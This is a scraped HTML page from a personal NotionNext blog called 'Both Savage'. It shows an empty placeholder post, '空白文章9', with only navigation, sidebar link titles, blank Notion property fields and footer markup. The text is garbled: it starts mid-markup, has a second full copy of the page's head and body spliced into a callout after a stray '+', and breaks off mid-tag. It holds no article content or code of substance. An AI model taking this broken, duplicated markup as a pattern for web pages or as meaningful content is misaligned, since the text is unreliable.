hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">空白文章9</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-463a12f0d5d54492bb0f8058cea32a41"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co notion-block-a8c29bdc907d4d3491e516cb41d364a8"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
+<!DOCTYPE html><html lang="zh-CN"><head><title>空白文章9 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Python,健康"/><meta name="description" content="仅供列表展示、文章无内容"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="空白文章9 | Both Savage"/><meta property="og:description" content="仅供列表展示、文章无内容"/><meta property="og:url" content="https://bothsavage.github.io//article/example-9"/><meta property="og:image" content="https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=463a12f0-d5d5-4492-bb0f-8058cea32a41&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="仅供列表展示、文章无内容"/><meta name="twitter:title" content="空白文章9 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">空白文章9</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-463a12f0d5d54492bb0f8058cea32a41"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co 